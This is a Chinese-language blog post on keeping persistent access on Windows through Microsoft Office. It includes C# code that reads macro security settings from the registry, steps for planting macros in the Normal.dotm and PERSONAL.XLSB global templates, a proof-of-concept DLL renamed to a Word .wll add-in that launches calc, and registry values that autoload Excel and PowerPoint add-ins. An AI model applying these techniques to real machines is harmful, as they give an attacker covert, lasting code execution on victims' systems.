Microsoft Office - 权限维持(一)

本文是针对Windows常见持久控制的第一次说明。

0x00 前言

前段时间有过个需求,判断 Office是否开启宏,索性将 Windows常见持久控制 中有关 Office 的记录也在后文写一下。

  • 判断是否安装了 Microsoft Office
  • 判断是否开启了
  • 相关利用

0x01 环境说明

1
2
3
4
5
Microsoft Windows 7 Ultimate x64
- Office 2007(实际环境)
- Office 2010(测试环境)
- Office 2013(测试环境)
- Office 2016(测试环境)

0x02 相关判断

  • VBAWarnings 键值数值数据说明

    1
    2
    3
    4
    1:启用所有宏
    2:禁用所有宏并发出通知
    3:禁用无数字部署的所有宏
    4:禁用所有宏并且不通知
  • 代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    // 通过注册表检测 Office 是否开启宏
    private static void OfficeVBAWarnings(string OfficeVersion)
    {
    List<string> OfficeFeatures = new List<string>()
    {
    "Excel", "Word", "PowerPoint"
    };
    foreach (string Features in OfficeFeatures)
    {
    string basekey = @"SOFTWARE\Microsoft\Office\" + OfficeVersion + @"\" + Features + @"\Security";
    RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(basekey);
    if (registryKey != null)
    {
    string[] ValueNames = registryKey.GetValueNames();
    if (registryKey.ValueCount == 0)
    {
    Console.WriteLine(" [>] {0} VBAWarnings: 2", Features);
    }
    else
    {
    foreach (string KeyName in ValueNames)
    {
    object VBAWarnings = registryKey.GetValue("VBAWarnings");
    Console.WriteLine(" [>] {0} VBAWarnings: {1}", Features, VBAWarnings);
    }
    }
    }
    }
    }

    // 通过注册表检测 Office 版本
    private static void OfficeIsInstall(string OfficeVersion)
    {
    string basekey = @"SOFTWARE\Microsoft\Office\" + OfficeVersion + @"\Common\InstallRoot";
    RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(basekey);
    if (registryKey != null)
    {
    if (registryKey.GetValue("Path") != null)
    {
    Console.WriteLine(" [>] Microsoft Office Version: {0}", OfficeVersion);
    OfficeVBAWarnings(OfficeVersion);
    }
    }
    }
    static void Main(string[] args)
    {
    List<string> OfficeVersions = new List<string>()
    {
    "8.0", "9.0", "10.0", "11.0", "12.0", "14.0", "15.0", "16.0"
    };
    foreach (string OfficeVersion in OfficeVersions)
    {
    OfficeIsInstall(OfficeVersion);
    }
    }

0x03 Office 模板宏

每次 Office 程序启动时都会加载使用 Office 程序中的基本模板。

相关位置

1
2
3
4
Word Normal.dotm位置:
C:\Users(username)\AppData\Roaming\Microsoft\Templates\Normal.dotm

Excel Personal.xlsb位置:C:\Users(username)\AppData\Roaming\Microsoft\Excel\XLSTART\PERSONAL.XLSB

这一部分在倾旋的博客有提到

新建宏名字 –> wordAutoOpenExcelAuto_Open

使用 GIF 进行演示(Excel 同理)

Blog_2019-05-27_22-32-49.png

本地使用相对应的 Office 版本生成的全局宏,替换目标机器对应的 Office 版本的全局宏,可行。

0x04 Office 加载项

Office 中支持不同类型的加载项,从本质上来讲,Office 套装有很多受信任的位置,当放置库文件时,在打开 Office 程序时,会自动加载库文件。在 Office 的信任中心选择禁用加载项,实际上不会禁用WLL,也不会阻止VBA代码执行。

1)Word 的 WLL 加载项

Word 的三个默认加载项位置如下所示:

Blog_2019-05-27_22-32-49.png

对用户位置中的 Startup 进一步调查发现,它是 Word 默认存放全局模板加载项的文件夹,当启动Word时,程序会自动加载 Startup 文件夹中所有*.dot、*.dotx或*.dotm格式的Word文件,也可以托管拓展名为 * .wll 的文件。而* .wll 文件本质上是一个带有额外特定于Office的扩展的DLL。这意味着* .wll 文件起码可以实现基本的 DLL 功能,我们只需要将*.dll 重命名为 *.wll,放入此文件夹中,可获取当前启动 word 的用户的执行权限。

示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int Run()
{
system("calc");
return 0;
}

BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
Run();
// MessageBox(NULL, L"Hello World,I'm RcoIl", L"demo", MB_OK);
// WinExec("calc.exe", SW_SHOWNORMAL);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

在这步骤出现了无法加载 wll 问题,所以我直接提问 Dominic Chell.,他给我的回答是:

1
2
3
我在测试的时候也遇到了这样的问题,我认为它是使用了 UI 来弹出东西的,所以建议使用一个简单的 MessageBox 进行测试。并且确保是从 attach 当中调用 Run()。

在使用 MessageBox 时,确保没有使用任何有关系统的东西(避免缺失 DLL),并尝试所有的switch cases

exp 思路就不说了。

所以我最后使用了上面代码注释行。成功,结果如下。

Blog_2019-05-27_22-32-50.gif

2)Excel 的 XLL 加载项

1
2
在HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Excel\Options注册表项中添加一个键值
OPEN /R DemoAddin.xll (字符串值)

Excel 启动时,会自动检索 C:\Users(username)\AppData\Roaming\Microsoft\AddIns目录,所以不需要写入绝对路径,默认自动加载。

1
// DemoAddin.xll EXPORTS is xlAutoOpen

3)PowerPoint 的 VBA 加载项

1
HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\PowerPoint\AddIns\<AddInName>

文件格式为 *.ppam*.ppa,也是与Excel 一样,放入AddIns 目录中。设置 Autoload 键值为 1 ,更改PowerPoint 启动时自动加载加载项。

Blog_2019-05-28_12-32-49

关于wll(DLL)xll(dll)ppam(VBA) 的利用,可自行研究。

4)更多

更多内容请阅读文章底部的参考文章。

0x05 参考

Office Application Startup
MAINTAINING ACCESS WITH NORMAL.DOTM
Beyond good ol’ Run key, Part 62
Add-In Opportunities for Office Persistence
Persistence: “the continued or prolonged existence of something”: Part 1 – Microsoft Office
EvilClippy

!坚持技术分享,您的支持将鼓励我继续创作!